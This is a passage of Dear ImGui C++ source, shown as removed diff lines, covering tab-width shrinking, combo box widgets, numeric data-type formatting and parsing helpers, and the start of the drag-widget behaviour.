ImGuiCol_SeparatorActive : (hovered && g.HoveredIdTimer >= hover_visibility_delay) ? ImGuiCol_SeparatorHovered : ImGuiCol_Separator); - window->DrawList->AddRectFilled(bb_render.Min, bb_render.Max, col, 0.0f); - - return held; -} - -static int IMGUI_CDECL ShrinkWidthItemComparer(const void* lhs, const void* rhs) -{ - const ImGuiShrinkWidthItem* a = (const ImGuiShrinkWidthItem*)lhs; - const ImGuiShrinkWidthItem* b = (const ImGuiShrinkWidthItem*)rhs; - if (int d = (int)(b->Width - a->Width)) - return d; - return (b->Index - a->Index); -} - -// Shrink excess width from a set of item, by removing width from the larger items first. -// Set items Width to -1.0f to disable shrinking this item. -void ImGui::ShrinkWidths(ImGuiShrinkWidthItem* items, int count, float width_excess) -{ - if (count == 1) - { - if (items[0].Width >= 0.0f) - items[0].Width = ImMax(items[0].Width - width_excess, 1.0f); - return; - } - ImQsort(items, (size_t)count, sizeof(ImGuiShrinkWidthItem), ShrinkWidthItemComparer); - int count_same_width = 1; - while (width_excess > 0.0f && count_same_width < count) - { - while (count_same_width < count && items[0].Width <= items[count_same_width].Width) - count_same_width++; - float max_width_to_remove_per_item = (count_same_width < count && items[count_same_width].Width >= 0.0f) ? (items[0].Width - items[count_same_width].Width) : (items[0].Width - 1.0f); - if (max_width_to_remove_per_item <= 0.0f) - break; - float width_to_remove_per_item = ImMin(width_excess / count_same_width, max_width_to_remove_per_item); - for (int item_n = 0; item_n < count_same_width; item_n++) - items[item_n].Width -= width_to_remove_per_item; - width_excess -= width_to_remove_per_item * count_same_width; - } - - // Round width and redistribute remainder left-to-right (could make it an option of the function?) - // Ensure that e.g. the right-most tab of a shrunk tab-bar always reaches exactly at the same distance from the right-most edge of the tab bar separator. - width_excess = 0.0f; - for (int n = 0; n < count; n++) - { - float width_rounded = ImFloor(items[n].Width); - width_excess += items[n].Width - width_rounded; - items[n].Width = width_rounded; - } - if (width_excess > 0.0f) - for (int n = 0; n < count; n++) - if (items[n].Index < (int)(width_excess + 0.01f)) - items[n].Width += 1.0f; -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: ComboBox -//------------------------------------------------------------------------- -// - BeginCombo() -// - EndCombo() -// - Combo() -//------------------------------------------------------------------------- - -static float CalcMaxPopupHeightFromItemCount(int items_count) -{ - ImGuiContext& g = *GImGui; - if (items_count <= 0) - return FLT_MAX; - return (g.FontSize + g.Style.ItemSpacing.y) * items_count - g.Style.ItemSpacing.y + (g.Style.WindowPadding.y * 2); -} - -bool ImGui::BeginCombo(const char* label, const char* preview_value, ImGuiComboFlags flags) -{ - // Always consume the SetNextWindowSizeConstraint() call in our early return paths - ImGuiContext& g = *GImGui; - bool has_window_size_constraint = (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasSizeConstraint) != 0; - g.NextWindowData.Flags &= ~ImGuiNextWindowDataFlags_HasSizeConstraint; - - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - IM_ASSERT((flags & (ImGuiComboFlags_NoArrowButton | ImGuiComboFlags_NoPreview)) != (ImGuiComboFlags_NoArrowButton | ImGuiComboFlags_NoPreview)); // Can't use both flags together - - const ImGuiStyle& style = g.Style; - const ImGuiID id = window->GetID(label); - - const float arrow_size = (flags & ImGuiComboFlags_NoArrowButton) ? 0.0f : GetFrameHeight(); - const ImVec2 label_size = CalcTextSize(label, NULL, true); - const float expected_w = CalcItemWidth(); - const float w = (flags & ImGuiComboFlags_NoPreview) ? arrow_size : expected_w; - const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w, label_size.y + style.FramePadding.y * 2.0f)); - const ImRect total_bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); - ItemSize(total_bb, style.FramePadding.y); - if (!ItemAdd(total_bb, id, &frame_bb)) - return false; - - bool hovered, held; - bool pressed = ButtonBehavior(frame_bb, id, &hovered, &held); - bool popup_open = IsPopupOpen(id, ImGuiPopupFlags_None); - - const ImU32 frame_col = GetColorU32(hovered ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg); - const float value_x2 = ImMax(frame_bb.Min.x, frame_bb.Max.x - arrow_size); - RenderNavHighlight(frame_bb, id); - if (!(flags & ImGuiComboFlags_NoPreview)) - window->DrawList->AddRectFilled(frame_bb.Min, ImVec2(value_x2, frame_bb.Max.y), frame_col, style.FrameRounding, (flags & ImGuiComboFlags_NoArrowButton) ? ImDrawCornerFlags_All : ImDrawCornerFlags_Left); - if (!(flags & ImGuiComboFlags_NoArrowButton)) - { - ImU32 bg_col = GetColorU32((popup_open || hovered) ? ImGuiCol_ButtonHovered : ImGuiCol_Button); - ImU32 text_col = GetColorU32(ImGuiCol_Text); - window->DrawList->AddRectFilled(ImVec2(value_x2, frame_bb.Min.y), frame_bb.Max, bg_col, style.FrameRounding, (w <= arrow_size) ? ImDrawCornerFlags_All : ImDrawCornerFlags_Right); - if (value_x2 + arrow_size - style.FramePadding.x <= frame_bb.Max.x) - RenderArrow(window->DrawList, ImVec2(value_x2 + style.FramePadding.y, frame_bb.Min.y + style.FramePadding.y), text_col, ImGuiDir_Down, 1.0f); - } - RenderFrameBorder(frame_bb.Min, frame_bb.Max, style.FrameRounding); - if (preview_value != NULL && !(flags & ImGuiComboFlags_NoPreview)) - { - ImVec2 preview_pos = frame_bb.Min + style.FramePadding; - if (g.LogEnabled) - LogSetNextTextDecoration("{", "}"); - RenderTextClipped(preview_pos, ImVec2(value_x2, frame_bb.Max.y), preview_value, NULL, NULL, ImVec2(0.0f, 0.0f)); - } - if (label_size.x > 0) - RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); - - if ((pressed || g.NavActivateId == id) && !popup_open) - { - if (window->DC.NavLayerCurrent == 0) - window->NavLastIds[0] = id; - OpenPopupEx(id, ImGuiPopupFlags_None); - popup_open = true; - } - - if (!popup_open) - return false; - - if (has_window_size_constraint) - { - g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasSizeConstraint; - g.NextWindowData.SizeConstraintRect.Min.x = ImMax(g.NextWindowData.SizeConstraintRect.Min.x, w); - } - else - { - if ((flags & ImGuiComboFlags_HeightMask_) == 0) - flags |= ImGuiComboFlags_HeightRegular; - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiComboFlags_HeightMask_)); // Only one - int popup_max_height_in_items = -1; - if (flags & ImGuiComboFlags_HeightRegular) popup_max_height_in_items = 8; - else if (flags & ImGuiComboFlags_HeightSmall) popup_max_height_in_items = 4; - else if (flags & ImGuiComboFlags_HeightLarge) popup_max_height_in_items = 20; - SetNextWindowSizeConstraints(ImVec2(w, 0.0f), ImVec2(FLT_MAX, CalcMaxPopupHeightFromItemCount(popup_max_height_in_items))); - } - - char name[16]; - ImFormatString(name, IM_ARRAYSIZE(name), "##Combo_%02d", g.BeginPopupStack.Size); // Recycle windows based on depth - - // Position the window given a custom constraint (peak into expected window size so we can position it) - // This might be easier to express with an hypothetical SetNextWindowPosConstraints() function. - if (ImGuiWindow* popup_window = FindWindowByName(name)) - if (popup_window->WasActive) - { - // Always override 'AutoPosLastDirection' to not leave a chance for a past value to affect us. - ImVec2 size_expected = CalcWindowNextAutoFitSize(popup_window); - if (flags & ImGuiComboFlags_PopupAlignLeft) - popup_window->AutoPosLastDirection = ImGuiDir_Left; // "Below, Toward Left" - else - popup_window->AutoPosLastDirection = ImGuiDir_Down; // "Below, Toward Right (default)" - ImRect r_outer = GetWindowAllowedExtentRect(popup_window); - ImVec2 pos = FindBestWindowPosForPopupEx(frame_bb.GetBL(), size_expected, &popup_window->AutoPosLastDirection, r_outer, frame_bb, ImGuiPopupPositionPolicy_ComboBox); - SetNextWindowPos(pos); - } - - // We don't use BeginPopupEx() solely because we have a custom name string, which we could make an argument to BeginPopupEx() - ImGuiWindowFlags window_flags = ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_Popup | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoMove; - - // Horizontally align ourselves with the framed text - PushStyleVar(ImGuiStyleVar_WindowPadding, ImVec2(style.FramePadding.x, style.WindowPadding.y)); - bool ret = Begin(name, NULL, window_flags); - PopStyleVar(); - if (!ret) - { - EndPopup(); - IM_ASSERT(0); // This should never happen as we tested for IsPopupOpen() above - return false; - } - return true; -} - -void ImGui::EndCombo() -{ - EndPopup(); -} - -// Getter for the old Combo() API: const char*[] -static bool Items_ArrayGetter(void* data, int idx, const char** out_text) -{ - const char* const* items = (const char* const*)data; - if (out_text) - *out_text = items[idx]; - return true; -} - -// Getter for the old Combo() API: "item1\0item2\0item3\0" -static bool Items_SingleStringGetter(void* data, int idx, const char** out_text) -{ - // FIXME-OPT: we could pre-compute the indices to fasten this. But only 1 active combo means the waste is limited. - const char* items_separated_by_zeros = (const char*)data; - int items_count = 0; - const char* p = items_separated_by_zeros; - while (*p) - { - if (idx == items_count) - break; - p += strlen(p) + 1; - items_count++; - } - if (!*p) - return false; - if (out_text) - *out_text = p; - return true; -} - -// Old API, prefer using BeginCombo() nowadays if you can. -bool ImGui::Combo(const char* label, int* current_item, bool (*items_getter)(void*, int, const char**), void* data, int items_count, int popup_max_height_in_items) -{ - ImGuiContext& g = *GImGui; - - // Call the getter to obtain the preview string which is a parameter to BeginCombo() - const char* preview_value = NULL; - if (*current_item >= 0 && *current_item < items_count) - items_getter(data, *current_item, &preview_value); - - // The old Combo() API exposed "popup_max_height_in_items". The new more general BeginCombo() API doesn't have/need it, but we emulate it here. - if (popup_max_height_in_items != -1 && !(g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasSizeConstraint)) - SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, CalcMaxPopupHeightFromItemCount(popup_max_height_in_items))); - - if (!BeginCombo(label, preview_value, ImGuiComboFlags_None)) - return false; - - // Display items - // FIXME-OPT: Use clipper (but we need to disable it on the appearing frame to make sure our call to SetItemDefaultFocus() is processed) - bool value_changed = false; - for (int i = 0; i < items_count; i++) - { - PushID((void*)(intptr_t)i); - const bool item_selected = (i == *current_item); - const char* item_text; - if (!items_getter(data, i, &item_text)) - item_text = "*Unknown item*"; - if (Selectable(item_text, item_selected)) - { - value_changed = true; - *current_item = i; - } - if (item_selected) - SetItemDefaultFocus(); - PopID(); - } - - EndCombo(); - if (value_changed) - MarkItemEdited(g.CurrentWindow->DC.LastItemId); - - return value_changed; -} - -// Combo box helper allowing to pass an array of strings. -bool ImGui::Combo(const char* label, int* current_item, const char* const items[], int items_count, int height_in_items) -{ - const bool value_changed = Combo(label, current_item, Items_ArrayGetter, (void*)items, items_count, height_in_items); - return value_changed; -} - -// Combo box helper allowing to pass all items in a single string literal holding multiple zero-terminated items "item1\0item2\0" -bool ImGui::Combo(const char* label, int* current_item, const char* items_separated_by_zeros, int height_in_items) -{ - int items_count = 0; - const char* p = items_separated_by_zeros; // FIXME-OPT: Avoid computing this, or at least only when combo is open - while (*p) - { - p += strlen(p) + 1; - items_count++; - } - bool value_changed = Combo(label, current_item, Items_SingleStringGetter, (void*)items_separated_by_zeros, items_count, height_in_items); - return value_changed; -} - -//------------------------------------------------------------------------- -// [SECTION] Data Type and Data Formatting Helpers [Internal] -//------------------------------------------------------------------------- -// - PatchFormatStringFloatToInt() -// - DataTypeGetInfo() -// - DataTypeFormatString() -// - DataTypeApplyOp() -// - DataTypeApplyOpFromText() -// - DataTypeClamp() -// - GetMinimumStepAtDecimalPrecision -// - RoundScalarWithFormat<>() -//------------------------------------------------------------------------- - -static const ImGuiDataTypeInfo GDataTypeInfo[] = -{ - { sizeof(char), "S8", "%d", "%d" }, // ImGuiDataType_S8 - { sizeof(unsigned char), "U8", "%u", "%u" }, - { sizeof(short), "S16", "%d", "%d" }, // ImGuiDataType_S16 - { sizeof(unsigned short), "U16", "%u", "%u" }, - { sizeof(int), "S32", "%d", "%d" }, // ImGuiDataType_S32 - { sizeof(unsigned int), "U32", "%u", "%u" }, -#ifdef _MSC_VER - { sizeof(ImS64), "S64", "%I64d","%I64d" }, // ImGuiDataType_S64 - { sizeof(ImU64), "U64", "%I64u","%I64u" }, -#else - { sizeof(ImS64), "S64", "%lld", "%lld" }, // ImGuiDataType_S64 - { sizeof(ImU64), "U64", "%llu", "%llu" }, -#endif - { sizeof(float), "float", "%f", "%f" }, // ImGuiDataType_Float (float are promoted to double in va_arg) - { sizeof(double), "double","%f", "%lf" }, // ImGuiDataType_Double -}; -IM_STATIC_ASSERT(IM_ARRAYSIZE(GDataTypeInfo) == ImGuiDataType_COUNT); - -// FIXME-LEGACY: Prior to 1.61 our DragInt() function internally used floats and because of this the compile-time default value for format was "%.0f". -// Even though we changed the compile-time default, we expect users to have carried %f around, which would break the display of DragInt() calls. -// To honor backward compatibility we are rewriting the format string, unless IMGUI_DISABLE_OBSOLETE_FUNCTIONS is enabled. What could possibly go wrong?! -static const char* PatchFormatStringFloatToInt(const char* fmt) -{ - if (fmt[0] == '%' && fmt[1] == '.' && fmt[2] == '0' && fmt[3] == 'f' && fmt[4] == 0) // Fast legacy path for "%.0f" which is expected to be the most common case. - return "%d"; - const char* fmt_start = ImParseFormatFindStart(fmt); // Find % (if any, and ignore %%) - const char* fmt_end = ImParseFormatFindEnd(fmt_start); // Find end of format specifier, which itself is an exercise of confidence/recklessness (because snprintf is dependent on libc or user). - if (fmt_end > fmt_start && fmt_end[-1] == 'f') - { -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - if (fmt_start == fmt && fmt_end[0] == 0) - return "%d"; - ImGuiContext& g = *GImGui; - ImFormatString(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), "%.*s%%d%s", (int)(fmt_start - fmt), fmt, fmt_end); // Honor leading and trailing decorations, but lose alignment/precision. - return g.TempBuffer; -#else - IM_ASSERT(0 && "DragInt(): Invalid format string!"); // Old versions used a default parameter of "%.0f", please replace with e.g. "%d" -#endif - } - return fmt; -} - -const ImGuiDataTypeInfo* ImGui::DataTypeGetInfo(ImGuiDataType data_type) -{ - IM_ASSERT(data_type >= 0 && data_type < ImGuiDataType_COUNT); - return &GDataTypeInfo[data_type]; -} - -int ImGui::DataTypeFormatString(char* buf, int buf_size, ImGuiDataType data_type, const void* p_data, const char* format) -{ - // Signedness doesn't matter when pushing integer arguments - if (data_type == ImGuiDataType_S32 || data_type == ImGuiDataType_U32) - return ImFormatString(buf, buf_size, format, *(const ImU32*)p_data); - if (data_type == ImGuiDataType_S64 || data_type == ImGuiDataType_U64) - return ImFormatString(buf, buf_size, format, *(const ImU64*)p_data); - if (data_type == ImGuiDataType_Float) - return ImFormatString(buf, buf_size, format, *(const float*)p_data); - if (data_type == ImGuiDataType_Double) - return ImFormatString(buf, buf_size, format, *(const double*)p_data); - if (data_type == ImGuiDataType_S8) - return ImFormatString(buf, buf_size, format, *(const ImS8*)p_data); - if (data_type == ImGuiDataType_U8) - return ImFormatString(buf, buf_size, format, *(const ImU8*)p_data); - if (data_type == ImGuiDataType_S16) - return ImFormatString(buf, buf_size, format, *(const ImS16*)p_data); - if (data_type == ImGuiDataType_U16) - return ImFormatString(buf, buf_size, format, *(const ImU16*)p_data); - IM_ASSERT(0); - return 0; -} - -void ImGui::DataTypeApplyOp(ImGuiDataType data_type, int op, void* output, const void* arg1, const void* arg2) -{ - IM_ASSERT(op == '+' || op == '-'); - switch (data_type) - { - case ImGuiDataType_S8: - if (op == '+') { *(ImS8*)output = ImAddClampOverflow(*(const ImS8*)arg1, *(const ImS8*)arg2, IM_S8_MIN, IM_S8_MAX); } - if (op == '-') { *(ImS8*)output = ImSubClampOverflow(*(const ImS8*)arg1, *(const ImS8*)arg2, IM_S8_MIN, IM_S8_MAX); } - return; - case ImGuiDataType_U8: - if (op == '+') { *(ImU8*)output = ImAddClampOverflow(*(const ImU8*)arg1, *(const ImU8*)arg2, IM_U8_MIN, IM_U8_MAX); } - if (op == '-') { *(ImU8*)output = ImSubClampOverflow(*(const ImU8*)arg1, *(const ImU8*)arg2, IM_U8_MIN, IM_U8_MAX); } - return; - case ImGuiDataType_S16: - if (op == '+') { *(ImS16*)output = ImAddClampOverflow(*(const ImS16*)arg1, *(const ImS16*)arg2, IM_S16_MIN, IM_S16_MAX); } - if (op == '-') { *(ImS16*)output = ImSubClampOverflow(*(const ImS16*)arg1, *(const ImS16*)arg2, IM_S16_MIN, IM_S16_MAX); } - return; - case ImGuiDataType_U16: - if (op == '+') { *(ImU16*)output = ImAddClampOverflow(*(const ImU16*)arg1, *(const ImU16*)arg2, IM_U16_MIN, IM_U16_MAX); } - if (op == '-') { *(ImU16*)output = ImSubClampOverflow(*(const ImU16*)arg1, *(const ImU16*)arg2, IM_U16_MIN, IM_U16_MAX); } - return; - case ImGuiDataType_S32: - if (op == '+') { *(ImS32*)output = ImAddClampOverflow(*(const ImS32*)arg1, *(const ImS32*)arg2, IM_S32_MIN, IM_S32_MAX); } - if (op == '-') { *(ImS32*)output = ImSubClampOverflow(*(const ImS32*)arg1, *(const ImS32*)arg2, IM_S32_MIN, IM_S32_MAX); } - return; - case ImGuiDataType_U32: - if (op == '+') { *(ImU32*)output = ImAddClampOverflow(*(const ImU32*)arg1, *(const ImU32*)arg2, IM_U32_MIN, IM_U32_MAX); } - if (op == '-') { *(ImU32*)output = ImSubClampOverflow(*(const ImU32*)arg1, *(const ImU32*)arg2, IM_U32_MIN, IM_U32_MAX); } - return; - case ImGuiDataType_S64: - if (op == '+') { *(ImS64*)output = ImAddClampOverflow(*(const ImS64*)arg1, *(const ImS64*)arg2, IM_S64_MIN, IM_S64_MAX); } - if (op == '-') { *(ImS64*)output = ImSubClampOverflow(*(const ImS64*)arg1, *(const ImS64*)arg2, IM_S64_MIN, IM_S64_MAX); } - return; - case ImGuiDataType_U64: - if (op == '+') { *(ImU64*)output = ImAddClampOverflow(*(const ImU64*)arg1, *(const ImU64*)arg2, IM_U64_MIN, IM_U64_MAX); } - if (op == '-') { *(ImU64*)output = ImSubClampOverflow(*(const ImU64*)arg1, *(const ImU64*)arg2, IM_U64_MIN, IM_U64_MAX); } - return; - case ImGuiDataType_Float: - if (op == '+') { *(float*)output = *(const float*)arg1 + *(const float*)arg2; } - if (op == '-') { *(float*)output = *(const float*)arg1 - *(const float*)arg2; } - return; - case ImGuiDataType_Double: - if (op == '+') { *(double*)output = *(const double*)arg1 + *(const double*)arg2; } - if (op == '-') { *(double*)output = *(const double*)arg1 - *(const double*)arg2; } - return; - case ImGuiDataType_COUNT: break; - } - IM_ASSERT(0); -} - -// User can input math operators (e.g. +100) to edit a numerical values. -// NB: This is _not_ a full expression evaluator. We should probably add one and replace this dumb mess.. -bool ImGui::DataTypeApplyOpFromText(const char* buf, const char* initial_value_buf, ImGuiDataType data_type, void* p_data, const char* format) -{ - while (ImCharIsBlankA(*buf)) - buf++; - - // We don't support '-' op because it would conflict with inputing negative value. - // Instead you can use +-100 to subtract from an existing value - char op = buf[0]; - if (op == '+' || op == '*' || op == '/') - { - buf++; - while (ImCharIsBlankA(*buf)) - buf++; - } - else - { - op = 0; - } - if (!buf[0]) - return false; - - // Copy the value in an opaque buffer so we can compare at the end of the function if it changed at all. - const ImGuiDataTypeInfo* type_info = DataTypeGetInfo(data_type); - ImGuiDataTypeTempStorage data_backup; - memcpy(&data_backup, p_data, type_info->Size); - - if (format == NULL) - format = type_info->ScanFmt; - - // FIXME-LEGACY: The aim is to remove those operators and write a proper expression evaluator at some point.. - int arg1i = 0; - if (data_type == ImGuiDataType_S32) - { - int* v = (int*)p_data; - int arg0i = *v; - float arg1f = 0.0f; - if (op && sscanf(initial_value_buf, format, &arg0i) < 1) - return false; - // Store operand in a float so we can use fractional value for multipliers (*1.1), but constant always parsed as integer so we can fit big integers (e.g. 2000000003) past float precision - if (op == '+') { if (sscanf(buf, "%d", &arg1i)) *v = (int)(arg0i + arg1i); } // Add (use "+-" to subtract) - else if (op == '*') { if (sscanf(buf, "%f", &arg1f)) *v = (int)(arg0i * arg1f); } // Multiply - else if (op == '/') { if (sscanf(buf, "%f", &arg1f) && arg1f != 0.0f) *v = (int)(arg0i / arg1f); } // Divide - else { if (sscanf(buf, format, &arg1i) == 1) *v = arg1i; } // Assign constant - } - else if (data_type == ImGuiDataType_Float) - { - // For floats we have to ignore format with precision (e.g. "%.2f") because sscanf doesn't take them in - format = "%f"; - float* v = (float*)p_data; - float arg0f = *v, arg1f = 0.0f; - if (op && sscanf(initial_value_buf, format, &arg0f) < 1) - return false; - if (sscanf(buf, format, &arg1f) < 1) - return false; - if (op == '+') { *v = arg0f + arg1f; } // Add (use "+-" to subtract) - else if (op == '*') { *v = arg0f * arg1f; } // Multiply - else if (op == '/') { if (arg1f != 0.0f) *v = arg0f / arg1f; } // Divide - else { *v = arg1f; } // Assign constant - } - else if (data_type == ImGuiDataType_Double) - { - format = "%lf"; // scanf differentiate float/double unlike printf which forces everything to double because of ellipsis - double* v = (double*)p_data; - double arg0f = *v, arg1f = 0.0; - if (op && sscanf(initial_value_buf, format, &arg0f) < 1) - return false; - if (sscanf(buf, format, &arg1f) < 1) - return false; - if (op == '+') { *v = arg0f + arg1f; } // Add (use "+-" to subtract) - else if (op == '*') { *v = arg0f * arg1f; } // Multiply - else if (op == '/') { if (arg1f != 0.0f) *v = arg0f / arg1f; } // Divide - else { *v = arg1f; } // Assign constant - } - else if (data_type == ImGuiDataType_U32 || data_type == ImGuiDataType_S64 || data_type == ImGuiDataType_U64) - { - // All other types assign constant - // We don't bother handling support for legacy operators since they are a little too crappy. Instead we will later implement a proper expression evaluator in the future. - sscanf(buf, format, p_data); - } - else - { - // Small types need a 32-bit buffer to receive the result from scanf() - int v32; - sscanf(buf, format, &v32); - if (data_type == ImGuiDataType_S8) - *(ImS8*)p_data = (ImS8)ImClamp(v32, (int)IM_S8_MIN, (int)IM_S8_MAX); - else if (data_type == ImGuiDataType_U8) - *(ImU8*)p_data = (ImU8)ImClamp(v32, (int)IM_U8_MIN, (int)IM_U8_MAX); - else if (data_type == ImGuiDataType_S16) - *(ImS16*)p_data = (ImS16)ImClamp(v32, (int)IM_S16_MIN, (int)IM_S16_MAX); - else if (data_type == ImGuiDataType_U16) - *(ImU16*)p_data = (ImU16)ImClamp(v32, (int)IM_U16_MIN, (int)IM_U16_MAX); - else - IM_ASSERT(0); - } - - return memcmp(&data_backup, p_data, type_info->Size) != 0; -} - -template -static int DataTypeCompareT(const T* lhs, const T* rhs) -{ - if (*lhs < *rhs) return -1; - if (*lhs > *rhs) return +1; - return 0; -} - -int ImGui::DataTypeCompare(ImGuiDataType data_type, const void* arg_1, const void* arg_2) -{ - switch (data_type) - { - case ImGuiDataType_S8: return DataTypeCompareT((const ImS8* )arg_1, (const ImS8* )arg_2); - case ImGuiDataType_U8: return DataTypeCompareT((const ImU8* )arg_1, (const ImU8* )arg_2); - case ImGuiDataType_S16: return DataTypeCompareT((const ImS16* )arg_1, (const ImS16* )arg_2); - case ImGuiDataType_U16: return DataTypeCompareT((const ImU16* )arg_1, (const ImU16* )arg_2); - case ImGuiDataType_S32: return DataTypeCompareT((const ImS32* )arg_1, (const ImS32* )arg_2); - case ImGuiDataType_U32: return DataTypeCompareT((const ImU32* )arg_1, (const ImU32* )arg_2); - case ImGuiDataType_S64: return DataTypeCompareT((const ImS64* )arg_1, (const ImS64* )arg_2); - case ImGuiDataType_U64: return DataTypeCompareT((const ImU64* )arg_1, (const ImU64* )arg_2); - case ImGuiDataType_Float: return DataTypeCompareT((const float* )arg_1, (const float* )arg_2); - case ImGuiDataType_Double: return DataTypeCompareT((const double*)arg_1, (const double*)arg_2); - case ImGuiDataType_COUNT: break; - } - IM_ASSERT(0); - return 0; -} - -template -static bool DataTypeClampT(T* v, const T* v_min, const T* v_max) -{ - // Clamp, both sides are optional, return true if modified - if (v_min && *v < *v_min) { *v = *v_min; return true; } - if (v_max && *v > *v_max) { *v = *v_max; return true; } - return false; -} - -bool ImGui::DataTypeClamp(ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max) -{ - switch (data_type) - { - case ImGuiDataType_S8: return DataTypeClampT((ImS8* )p_data, (const ImS8* )p_min, (const ImS8* )p_max); - case ImGuiDataType_U8: return DataTypeClampT((ImU8* )p_data, (const ImU8* )p_min, (const ImU8* )p_max); - case ImGuiDataType_S16: return DataTypeClampT((ImS16* )p_data, (const ImS16* )p_min, (const ImS16* )p_max); - case ImGuiDataType_U16: return DataTypeClampT((ImU16* )p_data, (const ImU16* )p_min, (const ImU16* )p_max); - case ImGuiDataType_S32: return DataTypeClampT((ImS32* )p_data, (const ImS32* )p_min, (const ImS32* )p_max); - case ImGuiDataType_U32: return DataTypeClampT((ImU32* )p_data, (const ImU32* )p_min, (const ImU32* )p_max); - case ImGuiDataType_S64: return DataTypeClampT((ImS64* )p_data, (const ImS64* )p_min, (const ImS64* )p_max); - case ImGuiDataType_U64: return DataTypeClampT((ImU64* )p_data, (const ImU64* )p_min, (const ImU64* )p_max); - case ImGuiDataType_Float: return DataTypeClampT((float* )p_data, (const float* )p_min, (const float* )p_max); - case ImGuiDataType_Double: return DataTypeClampT((double*)p_data, (const double*)p_min, (const double*)p_max); - case ImGuiDataType_COUNT: break; - } - IM_ASSERT(0); - return false; -} - -static float GetMinimumStepAtDecimalPrecision(int decimal_precision) -{ - static const float min_steps[10] = { 1.0f, 0.1f, 0.01f, 0.001f, 0.0001f, 0.00001f, 0.000001f, 0.0000001f, 0.00000001f, 0.000000001f }; - if (decimal_precision < 0) - return FLT_MIN; - return (decimal_precision < IM_ARRAYSIZE(min_steps)) ? min_steps[decimal_precision] : ImPow(10.0f, (float)-decimal_precision); -} - -template -static const char* ImAtoi(const char* src, TYPE* output) -{ - int negative = 0; - if (*src == '-') { negative = 1; src++; } - if (*src == '+') { src++; } - TYPE v = 0; - while (*src >= '0' && *src <= '9') - v = (v * 10) + (*src++ - '0'); - *output = negative ? -v : v; - return src; -} - -// Sanitize format -// - Zero terminate so extra characters after format (e.g. "%f123") don't confuse atof/atoi -// - stb_sprintf.h supports several new modifiers which format numbers in a way that also makes them incompatible atof/atoi. -static void SanitizeFormatString(const char* fmt, char* fmt_out, size_t fmt_out_size) -{ - const char* fmt_end = ImParseFormatFindEnd(fmt); - IM_ASSERT((size_t)(fmt_end - fmt + 1) < fmt_out_size); // Format is too long, let us know if this happens to you! - while (fmt < fmt_end) - { - char c = *(fmt++); - if (c != '\'' && c != '$' && c != '_') // Custom flags provided by stb_sprintf.h. POSIX 2008 also supports '. - *(fmt_out++) = c; - } - *fmt_out = 0; // Zero-terminate -} - -template -TYPE ImGui::RoundScalarWithFormatT(const char* format, ImGuiDataType data_type, TYPE v) -{ - const char* fmt_start = ImParseFormatFindStart(format); - if (fmt_start[0] != '%' || fmt_start[1] == '%') // Don't apply if the value is not visible in the format string - return v; - - // Sanitize format - char fmt_sanitized[32]; - SanitizeFormatString(fmt_start, fmt_sanitized, IM_ARRAYSIZE(fmt_sanitized)); - fmt_start = fmt_sanitized; - - // Format value with our rounding, and read back - char v_str[64]; - ImFormatString(v_str, IM_ARRAYSIZE(v_str), fmt_start, v); - const char* p = v_str; - while (*p == ' ') - p++; - if (data_type == ImGuiDataType_Float || data_type == ImGuiDataType_Double) - v = (TYPE)ImAtof(p); - else - ImAtoi(p, (SIGNEDTYPE*)&v); - return v; -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: DragScalar, DragFloat, DragInt, etc. -//------------------------------------------------------------------------- -// - DragBehaviorT<>() [Internal] -// - DragBehavior() [Internal] -// - DragScalar() -// - DragScalarN() -// - DragFloat() -// - DragFloat2() -// - DragFloat3() -// - DragFloat4() -// - DragFloatRange2() -// - DragInt() -// - DragInt2() -// - DragInt3() -// - DragInt4() -// - DragIntRange2() -//------------------------------------------------------------------------- - -// This is called by DragBehavior() when the widget is active (held by mouse or being manipulated with Nav controls) -template -bool ImGui::DragBehaviorT(ImGuiDataType data_type, TYPE* v, float v_speed, const TYPE v_min, const TYPE v_max, const char* format, ImGuiSliderFlags flags) -{ - ImGuiContext& g = *GImGui; - const ImGuiAxis axis = (flags & ImGuiSliderFlags_Vertical) ? ImGuiAxis_Y : ImGuiAxis_X; - const bool is_decimal = (data_type == ImGuiDataType_Float) || (data_type == ImGuiDataType_Double); - const bool is_clamped = (v_min < v_max); - const bool is_logarithmic = (flags & ImGuiSliderFlags_Logarithmic) && is_decimal; - - // Default tweak speed - if (v_speed == 0.0f && is_clamped && (v_max - v_min < FLT_MAX)) - v_speed = (float)((v_max - v_min) * g.DragSpeedDefaultRatio); - - // Inputs accumulates into g.DragCurrentAccum, which is flushed into the current value as soon as it makes a difference with our precision settings - float adjust_delta = 0.0f; - if (g.ActiveIdSource == ImGuiInputSource_Mouse && IsMousePosValid() && IsMouseDragPastThreshold(0, g.IO.MouseDragThreshold * DRAG_MOUSE_THRESHOLD_FACTOR)) - { - adjust_delta = g.IO.MouseDelta[axis]; - if (g.IO.KeyAlt) - adjust_delta *= 1.0f / 100.0f; - if (g.IO.KeyShift) - adjust_delta *= 10.0f; - } - else if (g.ActiveIdSource == ImGuiInputSource_Nav) - { - int decimal_precision = is_decimal ? ImParseFormatPrecision(format, 3) : 0; - adjust_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_Keyboard | ImGuiNavDirSourceFlags_PadDPad, ImGuiInputReadMode_RepeatFast, 1.0f / 10.0f, 10.0f)[axis]; - v_speed = ImMax(v_speed, GetMinimumStepAtDecimalPrecision(decimal_precision)); - } - adjust_delta *= v_speed; - - // For vertical drag we currently assume that Up=higher value (like we do with vertical sliders). This may become 